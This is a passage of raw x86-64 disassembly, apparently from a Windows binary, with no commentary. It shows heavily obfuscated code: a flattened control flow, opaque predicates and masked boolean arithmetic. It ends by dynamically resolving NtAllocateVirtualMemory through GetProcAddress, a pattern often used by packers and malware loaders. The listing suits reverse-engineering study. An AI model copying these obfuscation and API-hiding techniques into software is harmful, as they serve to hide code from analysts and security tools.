and edx, 0xbf16a3e3
or edx, ecx
xor edx, ebx
not edx
or edx, edi
cmp edx, 0xffffffff
sete r9b
setne cl
cmp eax, 0xa
setl r8b
cmp eax, 9
setg al
mov ebx, eax
and bl, cl
mov edx, eax
xor dl, cl
or dl, bl
xor al, r9b
not al
and al, r9b
xor cl, r8b
not cl
and cl, r8b
mov ebx, eax
xor bl, 1
xor al, cl
xor cl, 1
or cl, bl
xor cl, 1
or cl, al
xor cl, 1
mov eax, edx
or al, cl
xor cl, dl
mov edx, eax
xor dl, cl
test dl, 1
mov edx, 0xd0b98c72
mov ebp, 0xcb88035b
cmovne edx, ebp
test cl, 1
mov ecx, edx
mov ebp, 0xd0b98c72
cmovne ecx, ebp
jmp 0x1400bd1cd
cmp ecx, 0x5c68698e
je 0x1400bae5d
cmp ecx, 0x5cc72387
jne 0x1400aed20
mov edx, dword [0x140265730]
mov eax, dword [0x14026572c]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0x68038bf5
and edx, ecx
and ecx, 0x97fc740a
or ecx, ebp
mov ebp, ecx
xor ebp, 0x90c83000
xor ecx, 0x68038bf5
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0x737c61f
and ebp, 0xf8c839e0
or ebp, edi
or ecx, ebx
and ebx, 0x737c61f
and edx, 0xf8c839e0
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
mov edx, ecx
xor edx, 1
and edx, ecx
mov ebp, ecx
not ebp
and ebp, 0xcf950c89
and ecx, 0x306af376
or ecx, ebp
xor ecx, 0x306af377
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0x6f8594a0
and edx, ecx
and ecx, 0x907a6b5f
or ecx, ebp
xor ecx, 0x907a6b5f
mov ebp, ecx
and ebp, edx
xor ecx, edx
or ecx, ebp
mov edx, ecx
not edx
and edx, 0xae973eb1
and ecx, 0x5168c14e
or ecx, edx
xor ecx, 0x5168c14e
cmp ecx, 0xffffffff
setne r8b
sete r9b
cmp eax, 9
setg cl
cmp eax, 0xa
setl dl
mov eax, r9d
xor al, r8b
and al, r9b
xor al, 1
mov ebx, eax
or bl, dl
xor al, dl
not al
and al, dl
xor al, 1
mov r10d, ebx
xor r10b, al
or al, bl
xor al, 1
or al, r10b
and r8b, dl
and cl, r9b
or cl, r8b
mov ebx, edx
and bl, r9b
xor dl, r9b
or dl, bl
xor cl, 1
mov ebx, ecx
xor bl, dl
or cl, dl
xor cl, 1
or cl, bl
xor al, 1
mov edx, eax
or dl, cl
xor al, cl
mov ebx, edx
xor bl, al
test al, 1
mov ecx, 0x1a7eacf3
mov ebp, 0x33c1e8ff
cmovne ecx, ebp
test dl, 1
mov eax, 0x1a7eacf3
cmovne ecx, eax
test bl, 1
jmp 0x1400bd41b
cmp ecx, 0xd3715ddb
je 0x1400baf94
cmp ecx, 0xd540fcd1
jne 0x1400aed20
mov ecx, 0x5c68698e
cmp ecx, 0xe9ca7823
jg 0x1400aefa0
jmp 0x1400aed2c
cmp ecx, 0x8ee2202e
je 0x1400bb0e5
cmp ecx, 0x8f6aed1b
jne 0x1400aed20
mov ecx, dword [0x140265730]
mov eax, dword [0x14026572c]
lea ebp, [rcx - 1]
imul ebp, ecx
mov edx, ebp
xor edx, 0x74326e55
and edx, ebp
not ebp
and ebp, 0x74326e55
mov ecx, ebp
and ecx, edx
xor edx, ebp
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0x8bcd91aa
and edx, 0x74326e55
or edx, ecx
mov ebp, edx
not ebp
mov ecx, ebp
or ecx, 1
mov ebx, ecx
not ebx
and ebp, 0xfffffffe
and edx, 1
or edx, ebp
mov ebp, edx
not ebp
mov edi, ecx
and edi, 0xff46c3e
and ebx, 0xf00b93c0
or ebx, edi
or ecx, ebp
and ebp, 0xff46c3e
and edx, 0xf00b93c1
or edx, ebp
xor edx, ebx
not ecx
or ecx, edx
mov ebp, ecx
not ebp
mov edx, ebp
and edx, 0x2420920c
and ecx, 0x42150402
or ecx, edx
mov ebx, ecx
xor ebx, 0x40110000
xor ecx, 0x1d88e104
or ebp, 0x6635960e
mov edx, ebp
not edx
and ecx, 0x1f8ce506
and ebx, 0x60311208
or ebx, ecx
and ebp, 0x1f8ce506
and edx, 0x804208f1
or edx, ebp
xor edx, ebx
mov ecx, edx
not ecx
and ecx, 0x99ca69f1
and edx, 0x6635960e
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0x359e5c58
and edx, 0xca61a3a7
or edx, ecx
mov ecx, edx
xor ecx, 0x40200021
xor edx, 0x14861448
and edx, 0x9ec7b7ce
and ecx, 0x61384831
or ecx, edx
xor ecx, 0x9ec7b7ce
cmp ecx, 0xffffffff
sete r8b
setne cl
cmp eax, 0xa
setl dl
cmp eax, 9
setg al
mov ebx, ecx
and bl, al
or cl, dl
and dl, r8b
or dl, bl
xor dl, 1
or dl, al
mov r9d, edx
xor r9b, 1
or al, r8b
mov ebx, eax
xor bl, cl
or al, cl
xor al, 1
or al, bl
mov ecx, eax
xor cl, 1
and al, dl
or dl, cl
and cl, r9b
or cl, al
mov eax, edx
xor al, cl
test al, 1
mov eax, 0x256b133c
mov ebp, 0x46592ac0
cmovne eax, ebp
test cl, 1
mov ecx, eax
mov ebp, 0x256b133c
jmp 0x1400bbba9
cmp ecx, 0xcbcc4f0c
je 0x1400bb0fb
cmp ecx, 0xcc1ad735
jne 0x1400aed20
mov eax, dword [0x140265730]
lea ebp, [rax - 1]
imul ebp, eax
mov eax, ebp
not eax
mov edx, eax
and edx, 0xfffffffe
mov ecx, ebp
and ecx, 1
or ecx, edx
mov ebx, ecx
not ebx
mov edx, ebx
and edx, 0x59d7a53e
and ecx, 0xa6285ac1
or ecx, edx
and ebp, 0x59d7a53e
and eax, 0xa6285ac1
or eax, ebp
xor eax, ecx
not eax
or eax, ebx
cmp eax, 0xffffffff
setne al
cmp dword [0x14026572c], 9
setg cl
mov edx, ecx
xor dl, al
and cl, al
or cl, dl
xor cl, 1
mov eax, ecx
xor al, dl
or cl, dl
xor cl, 1
or cl, al
mov edx, ecx
xor dl, al
test dl, 1
mov edx, 0x1c40ef2
cmovne edx, r15d
test cl, 1
mov ecx, 0x1c40ef2
jmp 0x1400bc2ba
cmp ecx, 0xfc03e20a
je 0x1400bb1d2
cmp ecx, 0xfd278794
jne 0x1400aed20
mov edx, dword [0x140265730]
mov eax, dword [0x14026572c]
lea ecx, [rdx - 1]
imul ecx, edx
mov ebp, ecx
not ebp
mov edx, ebp
and edx, ecx
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0x70530a09
and ebp, 0x8facf5f6
or ebp, edi
or ecx, ebx
and ebx, 0x70530a09
and edx, 0x8facf5f6
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
mov edx, ecx
xor edx, 1
and edx, ecx
mov ebp, ecx
not ebp
and ebp, 0xfffffffe
and ecx, 1
or ecx, ebp
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0xd4b081a7
and edx, ecx
and ecx, 0x2b4f7e58
or ecx, ebp
xor ecx, 0x2b4f7e58
mov ebp, ecx
and ebp, edx
xor ecx, edx
or ecx, ebp
sete bl
cmp eax, 0xa
setl cl
cmp eax, 9
setg r8b
mov edx, ebx
mov r9d, ecx
or r9b, bl
xor cl, bl
or bl, r8b
xor bl, 1
xor dl, r8b
not dl
and dl, r8b
mov eax, ebx
and al, dl
xor dl, bl
or dl, al
xor cl, 1
mov eax, r9d
xor al, cl
or cl, r9b
xor cl, 1
or cl, al
mov eax, ecx
xor al, 1
mov ebx, edx
xor bl, 1
and al, bl
or bl, cl
and cl, dl
or cl, al
mov eax, ebx
xor al, cl
test al, 1
mov eax, 0xf67b1433
mov edx, 0xd00f607d
cmovne eax, edx
test cl, 1
mov ecx, eax
mov edx, 0xf67b1433
jmp 0x1400b5789
cmp ecx, 0x4a42508a
je 0x1400bb296
cmp ecx, 0x4a7da315
jne 0x1400aed20
mov eax, dword [0x140265730]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
and eax, 0x10dbdf0a
and ecx, 0xef2420f5
or ecx, eax
mov eax, ecx
not eax
and eax, 0xef2420f5
and ecx, 0x10dbdf0a
or ecx, eax
mov edx, ecx
not edx
mov eax, edx
or eax, 1
mov ebp, eax
not ebp
and edx, 0xfffffffe
and ecx, 1
or ecx, edx
mov edx, ecx
not edx
mov ebx, eax
and ebx, 0x512d98f9
and ebp, 0xaed26706
or ebp, ebx
or eax, edx
and edx, 0x512d98f9
and ecx, 0xaed26706
or ecx, edx
xor ecx, ebp
not eax
or eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, eax
mov ebp, edx
not ebp
mov ebx, eax
and ebx, 0xe76f5469
and ecx, 0x1890ab96
or ecx, ebx
or eax, ebp
and ebp, 0xe76f5469
and edx, 0x1890ab96
or edx, ebp
xor edx, ecx
not eax
or eax, edx
mov ecx, eax
not ecx
and eax, 0x66469335
and ecx, 0x99b96cca
or ecx, eax
xor ecx, 0x99b96cca
sete bl
cmp dword [0x14026572c], 9
setg al
mov edx, eax
xor dl, bl
mov ecx, edx
xor cl, al
and cl, dl
not dl
and dl, bl
or al, bl
xor al, 1
mov ebx, edx
and bl, al
xor al, dl
or al, bl
mov ebx, ecx
xor bl, 1
mov edx, eax
xor dl, 1
mov r8d, edx
and r8b, cl
xor dl, bl
and bl, al
or bl, r8b
or al, cl
xor al, 1
or al, dl
mov edx, eax
xor dl, bl
test al, 1
mov ecx, 0xc2a48f73
mov eax, 0x4f8fec5c
cmovne ecx, eax
test bl, bl
cmove ecx, eax
test dl, 1
mov eax, 0xc2a48f73
jmp 0x1400bd5b0
cmp ecx, 0xb52e3a71
je 0x1400bb3b3
cmp ecx, 0xb5cbd131
jne 0x1400aed20
mov ecx, 0xb67ba815
cmp ecx, 0xe9ca7823
jg 0x1400aefa0
jmp 0x1400aed2c
cmp ecx, 0x2759d340
je 0x1400bb3c9
cmp ecx, 0x276a97ff
jne 0x1400aed20
mov rax, qword [rsp + 0x38]
mov qword [0x140265058], rax
mov ecx, 0x7505d6c5
cmp ecx, 0xe9ca7823
jg 0x1400aefa0
jmp 0x1400aed2c
cmp ecx, 0x6e524cbf
je 0x1400bb4af
cmp ecx, 0x6e77cf8a
jne 0x1400aed20
mov edx, dword [0x140265730]
mov eax, dword [0x14026572c]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
and edx, 0x809201c2
mov ebp, ecx
and ebp, 0x1760e011
or ebp, edx
xor ebp, 0x1760e011
and ecx, 0x680d1e2c
or ecx, ebp
mov edx, ecx
not edx
and edx, 0x516f733a
and ecx, 0xae908cc5
or ecx, edx
mov edx, ecx
xor edx, 0x39626d16
mov ebp, ecx
xor ebp, 0x39626d17
and ebp, edx
xor ecx, 0xc69d92e8
and ecx, 0xfffffffe
and edx, 1
or edx, ecx
mov ecx, ebp
and ecx, edx
xor edx, ebp
or edx, ecx
mov ecx, edx
not ecx
mov ebp, ecx
and ebp, 0xa6fdc529
and ecx, edx
and edx, 0x59023ad6
or edx, ebp
xor edx, 0x59023ad6
mov ebp, edx
and ebp, ecx
xor edx, ecx
or edx, ebp
sete cl
cmp eax, 0xa
setl dl
cmp eax, 9
setg bl
mov eax, ebx
xor al, cl
xor al, 1
or al, bl
xor dl, cl
mov ecx, eax
xor cl, dl
xor dl, 1
or dl, al
mov eax, ecx
xor al, dl
test cl, cl
mov ecx, 0x22c2e20d
mov ebp, 0xf18efce0
cmovne ecx, ebp
test dl, dl
cmovne ecx, ebp
not al
test al, 1
mov eax, 0x22c2e20d
jmp 0x1400bd5b0
cmp ecx, 0x8a5e1092
je 0x1400bb5d0
cmp ecx, 0x8aea65d1
jne 0x1400aed20
mov edx, dword [0x140265730]
mov eax, dword [0x14026572c]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0x5fe2f244
mov ebx, ecx
and ebx, 0xa01d0dba
or ebx, ebp
xor ebx, 0xa01d0dba
mov ebp, ecx
and ebp, 1
or ebp, ebx
and edx, 0x6b9a5b4a
and ecx, 0x9465a4b5
or ecx, edx
mov edx, ecx
xor edx, 0x9465a4b5
xor ecx, 0x6b9a5b4a
and ecx, ebp
not ebp
and edx, ebp
or ecx, edx
xor ebp, ecx
test ebp, ecx
setne r8b
sete r9b
cmp eax, 0xa
setl r10b
cmp eax, 9
setg al
mov ebx, r9d
xor bl, r8b
and bl, r9b
mov ecx, ebx
xor cl, 1
or bl, cl
mov edx, ecx
xor dl, bl
or bl, cl
xor bl, 1
or bl, dl
mov ecx, eax
xor cl, bl
xor cl, 1
and cl, bl
or bl, al
mov edx, ebx
xor dl, cl
xor cl, 1
xor dl, 1
or cl, bl
xor cl, 1
or cl, dl
or r10b, r9b
xor al, r8b
xor al, 1
mov edx, r10d
xor dl, al
or al, r10b
xor al, 1
or al, dl
mov edx, eax
xor dl, cl
xor cl, 1
xor dl, 1
mov ebx, ecx
and bl, al
xor cl, al
or cl, bl
mov eax, ecx
xor al, dl
test cl, 1
mov ecx, 0xe1d12086
mov ebp, 0x97eab662
cmovne ecx, ebp
test dl, 1
cmove ecx, ebp
test al, 1
mov eax, 0xe1d12086
jmp 0x1400bd5b0
cmp ecx, 0xc8e5f42a
je 0x1400bb707
cmp ecx, 0xc8e63155
jne 0x1400aed20
mov eax, dword [0x140265730]
lea ecx, [rax - 1]
imul ecx, eax
mov edx, ecx
not edx
or ecx, 0x3054dacb
mov ebp, ecx
not ebp
or edx, 0xcfab2534
mov eax, edx
not eax
and ecx, 0xef3dae78
and ebp, 0x820104
or ebp, ecx
and edx, 0xef3dae78
and eax, 0x10405083
or eax, edx
xor eax, ebp
mov ecx, eax
not ecx
and ecx, 0x7c2a5be8
and eax, 0x83d5a417
or eax, ecx
mov ecx, eax
xor ecx, 0x402c0123
mov edx, eax
xor edx, 0xb3817edc
mov ebp, eax
xor ebp, 0xe22c5127
and ebp, edx
and ecx, 0x51ad2ffb
mov ebx, ebp
and ebx, ecx
xor ecx, ebp
or ecx, ebx
mov ebp, ecx
not ebp
and ebp, 0x84464c2a
and ecx, 0x7bb9b3d5
or ecx, ebp
xor ecx, 0xd5eb63d0
and edx, 1
xor eax, 0xb3817edd
or eax, edx
mov edx, eax
not edx
and edx, 0x3e153df3
and eax, 0xc1eac20c
or eax, edx
xor eax, 0xc1eac20c
mov edx, ecx
and edx, eax
xor eax, ecx
or eax, edx
mov ecx, eax
mov edx, eax
xor edx, 0xfc1d6fa4
and edx, eax
not eax
and eax, 0x381c4fa0
and ecx, 0xc4012004
or ecx, eax
xor ecx, 0xc4012004
mov eax, ecx
and eax, edx
xor edx, ecx
or edx, eax
mov eax, edx
not eax
and eax, 0x8b5f76e7
and edx, 0x74a08918
or edx, eax
mov eax, edx
xor eax, 0x95c210
xor edx, 0x61401040
and edx, 0xe96834ec
and eax, 0x1697cb13
or eax, edx
xor eax, 0x1697cb13
cmp eax, 0xffffffff
sete cl
setne r8b
cmp dword [0x14026572c], 9
setg al
mov ebx, eax
and bl, r8b
xor r8b, al
or r8b, bl
mov ebx, eax
xor bl, cl
not bl
and bl, cl
or al, cl
xor al, 1
mov ecx, ebx
and cl, al
xor al, bl
or al, cl
mov ecx, eax
xor cl, 1
mov ebx, ecx
mov edx, r8d
xor cl, r8b
xor r8b, 1
and bl, r8b
and dl, al
or dl, bl
or al, r8b
xor al, 1
or al, cl
mov ebx, eax
xor bl, dl
test al, 1
mov ecx, 0xe3a06ec2
mov eax, 0x5abc0d7
cmovne ecx, eax
test dl, dl
cmove ecx, eax
test bl, 1
mov eax, 0xe3a06ec2
jmp 0x1400bd5b0
cmp ecx, 0xf4dadd3b
je 0x1400bb71d
cmp ecx, 0xf62984ff
jne 0x1400aed20
mov ecx, 0x10563a81
cmp ecx, 0xe9ca7823
jg 0x1400aefa0
jmp 0x1400aed2c
cmp ecx, 0x432b9dd8
je 0x1400aec1f
cmp ecx, 0x43489bd2
jne 0x1400aed20
mov r8, qword [rsp + 0x38]
mov ebp, dword [0x140265730]
mov ecx, dword [0x14026572c]
lea edi, [rbp - 1]
imul edi, ebp
mov eax, edi
not eax
mov edx, edi
or edx, 0x2368d508
mov esi, edx
not esi
mov ebp, eax
or ebp, 0xdc972af7
and edx, 0x38aa799d
and esi, 0xc4150262
or esi, edx
mov ebx, ebp
not ebx
and ebp, 0x38aa799d
and ebx, 0x3408400
or ebx, ebp
xor ebx, esi
mov edx, ebx
not edx
and edx, 0x2368d509
and ebx, 0xdc972af6
or ebx, edx
and eax, 0xeb23c732
and edi, 0x14dc38cd
or edi, eax
mov eax, edi
xor eax, 0x4c28c0
mov ebp, ebx
not ebp
mov edx, ebp
and edx, 0x5693503f
and ebx, 0xa96cafc0
or ebx, edx
xor edi, 0x42034032
and edi, 0x5693503f
and eax, 0xa96cafc0
or eax, edi
xor eax, ebx
not eax
or eax, ebp
cmp eax, 0xffffffff
sete al
cmp ecx, 9
setg dl
cmp ecx, 0xa
setl bl
mov ecx, ebx
xor cl, al
or bl, al
xor bl, 1
or bl, cl
mov r9d, ebx
xor r9b, 1
and cl, al
or dl, al
xor cl, 1
mov eax, ecx
xor al, dl
or cl, dl
xor cl, 1
or cl, al
mov eax, ecx
xor al, 1
and cl, bl
or bl, al
and al, r9b
or al, cl
mov ecx, ebx
xor cl, al
test cl, 1
mov ecx, 0x432b9dd8
mov edx, 0xd3490aa2
cmovne ecx, edx
test al, 1
mov eax, ecx
mov edx, 0x432b9dd8
cmovne eax, edx
mov qword [0x140265058], r8
test bl, 1
jmp 0x1400bb1ca
cmp ecx, 0xa8db373f
je 0x1400bb8d6
cmp ecx, 0xa91f40ce
jne 0x1400aed20
mov ecx, 0x67657ac0
cmp ecx, 0xe9ca7823
jg 0x1400aefa0
jmp 0x1400aed2c
cmp ecx, 0x2147973c
je 0x1400bba0c
cmp ecx, 0x224d6823
jne 0x1400aed20
mov edx, dword [0x140265730]
mov eax, dword [0x14026572c]
lea ebp, [rdx - 1]
imul ebp, edx
mov ebx, ebp
not ebx
mov edx, ebx
and edx, 0x2bada7a6
mov ecx, ebp
and ecx, 0xd4525858
or ecx, edx
xor ecx, 0xd4525858
mov edx, ebp
and edx, 1
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0x60991ddd
and edx, 0x9f66e222
or edx, ecx
mov ecx, edx
xor ecx, 0x1744a202
and ebx, 0xc6400341
and ebp, 0x39bffcbe
or ebp, ebx
mov ebx, ebp
xor ebx, 0x3104a40e
xor edx, 0x60991ddd
xor ebp, 0xc6400341
mov edi, edx
and edi, 0x88bb59f1
and ecx, 0x7744a60e
or ecx, edi
or edx, ebp
and ebp, 0x88bb59f1
and ebx, 0x7744a60e
or ebx, ebp
xor ebx, ecx
not edx
or edx, ebx
cmp edx, 0xffffffff
sete r8b
setne cl
cmp eax, 0xa
setl bl
cmp eax, 9
setg dl
and cl, dl
and bl, r8b
or bl, cl
mov r9d, ebx
xor r9b, dl
and r9b, bl
mov eax, edx
xor al, r8b
not al
and al, r8b
or dl, r8b
mov ecx, edx
xor cl, al
xor al, 1
xor cl, 1
or al, dl
xor al, 1
or al, cl
mov edx, r9d
xor dl, 1
mov ecx, eax
not cl
and cl, r9b
and dl, al
or dl, cl
mov ecx, r9d
xor cl, al
or al, r9b
xor al, 1
or al, cl
mov ecx, eax
xor cl, dl
test cl, 1
mov ebp, 0x9bba5ff6
mov ecx, 0xd819b661
cmovne ebp, ecx
test al, 1
mov ecx, 0x9bba5ff6
jmp 0x1400bd415
cmp ecx, 0x6392e745
je 0x1400bba22
cmp ecx, 0x6439845f
jne 0x1400aed20
mov ecx, 0xd3715ddb
cmp ecx, 0xe9ca7823
jg 0x1400aefa0
jmp 0x1400aed2c
cmp ecx, 0xdba00e86
je 0x1400bba38
cmp ecx, 0xde1149e7
jne 0x1400aed20
mov edx, dword [0x140265730]
mov eax, dword [0x14026572c]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
and ecx, edx
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
mov esi, ecx
xor esi, 1
and esi, ecx
mov edx, ecx
not edx
and edx, 0xb10c48d1
and ecx, 0x4ef3b72e
or ecx, edx
mov ebx, ecx
xor ebx, 0xa61b50f
mov ebp, esi
not ebp
xor ecx, 0xb10c48d0
mov edi, ebp
and edi, 0x45920a60
and esi, 0xba6df59f
or esi, edi
or ebp, ecx
and ecx, 0x45920a60
and ebx, 0xba6df59f
or ebx, ecx
xor ebx, esi
not ebp
or ebp, ebx
mov ecx, ebp
mov edx, ebp
xor edx, 0xfa40b7ed
and edx, ebp
not ebp
and ebp, 0x32408409
and ecx, 0xc80033e4
or ecx, ebp
mov ebp, ecx
xor ebp, 0x40002224
xor ecx, 0x37ffcc1b
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0xae2f19d9
and ebp, 0x5040a624
or ebp, edi
or ecx, ebx
and ebx, 0xae2f19d9
and edx, 0x51d0e626
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
mov edx, ecx
not edx
and edx, 0x5bf4812
and ecx, 0xfa40b7ed
or ecx, edx
mov edx, ecx
not edx
and ecx, 0x74604d32
and edx, 0x8b9fb2cd
or edx, ecx
mov ecx, edx
xor ecx, 0x24604c02
xor edx, 0xb13b281
and edx, 0x5b13b3b1
and ecx, 0xa4ec4c4e
or ecx, edx
xor ecx, 0xa4ec4c4e
sete r8b
setne r10b
cmp eax, 0xa
setl cl
cmp eax, 9
setg al
mov r9d, r10d
xor r9b, al
mov ebx, r9d
and bl, r10b
and r9b, al
mov edx, ebx
and dl, r9b
xor r9b, bl
or r9b, dl
and r10b, cl
and al, r8b
or al, r10b
mov edx, ecx
and dl, r8b
xor cl, r8b
or cl, dl
xor al, 1
mov edx, eax
xor dl, cl
or al, cl
xor al, 1
or al, dl
mov ecx, eax
xor cl, 1
and al, cl
mov edx, ecx
and dl, al
xor al, cl
or al, dl
mov r8d, eax
xor r8b, 1
mov ebx, r9d
mov r10d, eax
and r10b, r8b
mov edx, r10d
xor r10b, al
or al, r9b
xor r9b, 1
and bl, r9b
xor bl, 1
mov ecx, ebx
xor cl, r9b
or bl, r9b
xor bl, 1
or bl, cl
xor dl, 1
or dl, r8b
xor dl, 1
or dl, r10b
mov ecx, ebx
xor cl, 1
and cl, dl
xor dl, 1
and dl, bl
or dl, cl
xor r9b, r8b
xor al, 1
or al, r9b
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0x7e876686
mov ebp, 0x60779ddc
cmovne ecx, ebp
test al, 1
mov eax, 0x7e876686
jmp 0x1400aed0c
cmp ecx, 0x92ee77ad
je 0x1400bbbc3
cmp ecx, 0x93f3fe64
jne 0x1400aed20
mov edx, dword [0x140265730]
mov eax, dword [0x14026572c]
lea ebp, [rdx - 1]
imul ebp, edx
mov ebx, ebp
not ebx
mov edx, ebx
and edx, 0x100002a0
mov ecx, ebp
and ecx, 0x48a0801
or ecx, edx
xor ecx, 0x48a0801
mov edx, ebp
xor edx, 0x148a0aa1
and edx, ebp
mov edi, ecx
and edi, edx
xor edx, ecx
or edx, edi
mov ecx, edx
not ecx
and ecx, 0xeb75f55f
and edx, 0x148a0aa0
or edx, ecx
mov ecx, edx
not ecx
and ebx, ecx
and edx, ebp
or edx, ebx
not edx
or edx, ecx
cmp edx, 0xffffffff
sete r10b
setne r9b
cmp eax, 0xa
setl r8b
cmp eax, 9
setg al
mov ecx, eax
xor cl, r8b
and cl, al
mov edx, ecx
xor dl, 1
mov ebx, ecx
and bl, dl
xor bl, 1
mov r11d, ebx
xor r11b, dl
or bl, dl
xor bl, 1
or bl, r11b
or dl, cl
xor dl, 1
mov ecx, ebx
and cl, dl
xor dl, bl
or dl, cl
mov ebx, r9d
xor bl, dl
mov ecx, ebx
and cl, r9b
and bl, dl
mov edx, ecx
and dl, bl
xor bl, cl
or bl, dl
and r8b, r9b
and r10b, al
or r10b, r8b
mov ecx, eax
xor cl, r9b
or al, r9b
xor al, 1
or al, cl
xor al, 1
mov ecx, r10d
and cl, al
xor al, r10b
or al, cl
mov ecx, eax
xor cl, 1
and al, cl
mov edx, ecx
and dl, al
xor al, cl
or al, dl
mov edx, eax
xor dl, 1
and dl, al
mov ecx, edx
and cl, al
xor dl, al
or dl, cl
xor dl, bl
mov ecx, ebx
xor cl, al
or al, bl
xor al, 1
or al, cl
mov ebx, eax
xor bl, dl
test al, 1
mov ecx, 0x224d6823
mov eax, 0xa517df77
cmovne ecx, eax
test dl, 1
cmove ecx, eax
test bl, 1
mov eax, 0x224d6823
jmp 0x1400bd5b0
cmp ecx, 0xcec85de5
je 0x1400bbcd2
cmp ecx, 0xd00f607d
jne 0x1400aed20
mov ecx, 0xfd278794
cmp ecx, 0xe9ca7823
jg 0x1400aefa0
jmp 0x1400aed2c
cmp ecx, 0x5abc0d7
je 0x1400bbce8
cmp ecx, 0x606a647
jne 0x1400aed20
mov rdi, qword [rsp + 0x38]
mov ecx, dword [0x140265730]
lea ebp, [rcx - 1]
imul ebp, ecx
mov edx, ebp
not edx
and ebp, 0xa96ac3d5
and edx, 0x56953c2a
or edx, ebp
mov ecx, edx
xor ecx, 0xa96ac3d5
mov ebp, edx
xor ebp, 0xa96ac3d4
and ebp, ecx
xor edx, 0x10850428
and edx, 0x188d0768
and ecx, 0xe772f897
or ecx, edx
xor ecx, 0xe772f896
mov edx, ebp
and edx, ecx
xor ecx, ebp
or ecx, edx
mov ebp, ecx
not ebp
mov edx, ebp
and edx, ecx
mov ebx, ecx
and ebx, 0xc98404c2
and ebp, 0x367bfb3d
or ebp, ebx
mov ebx, edx
not ebx
or ecx, ebx
and ebx, 0xc98404c2
and edx, 0x367bfb3d
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
sete cl
setne dl
cmp dword [0x14026572c], 0xa
setl al
xor dl, al
xor dl, 1
mov ebx, eax
or bl, cl
xor bl, 1
or bl, dl
mov edx, ebx
not dl
xor al, cl
mov ecx, eax
xor cl, 1
and al, bl
or bl, cl
and cl, dl
or cl, al
mov eax, ebx
xor al, cl
mov eax, 0x92ee77ad
mov edx, 0x71f04bab
cmovne eax, edx
test cl, cl
mov ecx, eax
mov edx, 0x92ee77ad
cmovne ecx, edx
mov qword [0x140265058], rdi
test bl, bl
jmp 0x1400bbbaf
cmp ecx, 0x508c8786
je 0x1400bbcfe
cmp ecx, 0x52a4c3e5
jne 0x1400aed20
mov ecx, 0xcad277d8
cmp ecx, 0xe9ca7823
jg 0x1400aefa0
jmp 0x1400aed2c
cmp ecx, 0xb7afb40c
je 0x1400bbd14
cmp ecx, 0xb8359344
jne 0x1400aed20
mov ecx, dword [0x140265730]
mov eax, dword [0x14026572c]
lea ebx, [rcx - 1]
imul ebx, ecx
mov ecx, ebx
not ecx
mov ebp, ecx
and ebp, 0xfffffffe
mov edx, ebx
xor edx, 0xfffffffe
and edx, ebx
mov edi, ebp
and edi, edx
xor edx, ebp
or edx, edi
mov ebp, edx
not ebp
mov edi, ebp
and edi, 0x6003ff6c
and edx, 0x9ffc0093
or edx, edi
and ebx, 0x6003ff6c
and ecx, 0x9ffc0093
or ecx, ebx
xor ecx, edx
xor ebp, ecx
test ebp, ecx
sete cl
setne dl
cmp eax, 9
setg bl
cmp eax, 0xa
setl al
xor al, dl
xor al, 1
or al, bl
mov edx, eax
not dl
xor cl, bl
mov ebx, ecx
not bl
and bl, al
or al, cl
and cl, dl
or cl, bl
mov edx, eax
xor dl, cl
mov edx, 0x174841cb
mov ebp, 0xf8df045e
cmovne edx, ebp
test cl, cl
mov ecx, edx
mov ebp, 0x174841cb
cmovne ecx, ebp
test al, al
jmp 0x1400bd1cf
cmp ecx, 0x305affdc
je 0x1400bbd2a
cmp ecx, 0x3138c4ed
jne 0x1400aed20
mov eax, dword [0x140265730]
lea edx, [rax - 1]
imul edx, eax
mov ecx, edx
not ecx
mov ebp, ecx
and ebp, 0xfffffffe
mov eax, edx
xor eax, 0xfffffffe
and eax, edx
mov ebx, ebp
and ebx, eax
xor eax, ebp
or eax, ebx
mov ebp, eax
not ebp
and ebp, 0xf2af5238
and eax, 0xd50adc7
or eax, ebp
mov ebp, eax
xor ebp, 0x9402c07
xor eax, 0xf2af5238
mov ebx, eax
and ebx, 0x84bdd3f0
and ebp, 0x7b422c0f
or ebp, ebx
or eax, edx
and edx, 0x84bdd3f0
and ecx, 0x7b422c0f
or ecx, edx
xor ecx, ebp
not eax
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0x79446753
and eax, 0x86bb98ac
or eax, ecx
xor eax, 0x86bb98ac
setne al
cmp dword [0x14026572c], 9
setg dl
mov ebx, edx
and bl, al
xor dl, al
or bl, dl
mov ecx, edx
xor cl, 1
mov eax, ecx
and al, dl
mov r8d, ecx
and r8b, al
xor al, cl
or al, r8b
mov ecx, eax
xor al, 1
and al, bl
xor bl, 1
and cl, bl
or al, cl
mov ecx, ebx
xor cl, dl
or bl, dl
xor bl, 1
or bl, cl
mov ecx, ebx
xor cl, al
test cl, 1
mov ecx, 0xe2e29cd7
mov edx, 0x5a681ad6
cmovne ecx, edx
test bl, 1
mov edx, 0xe2e29cd7
cmovne edx, ecx
test al, al
cmove edx, ecx
jmp 0x1400bd2f4
cmp ecx, 0x787b21eb
je 0x1400bbd40
cmp ecx, 0x798442bc
jne 0x1400aed20
mov rcx, qword [rsp + 0x30]
lea rdx, str.NtAllocateVirtualMemory
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [0x140265730]
mov eax, dword [0x14026572c]
